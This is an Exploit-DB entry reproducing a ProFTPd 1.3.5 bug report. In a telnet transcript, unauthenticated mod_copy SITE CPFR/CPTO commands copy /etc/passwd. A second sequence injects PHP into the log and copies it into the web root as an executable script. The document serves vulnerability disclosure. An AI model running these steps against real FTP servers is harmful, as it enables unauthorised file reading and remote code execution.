ProFTPd 1.3.5 - File Copy

EDB-ID:

36742


Author:

anonymous

Type:

remote


Platform:

Linux

Date:

2015-04-13


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169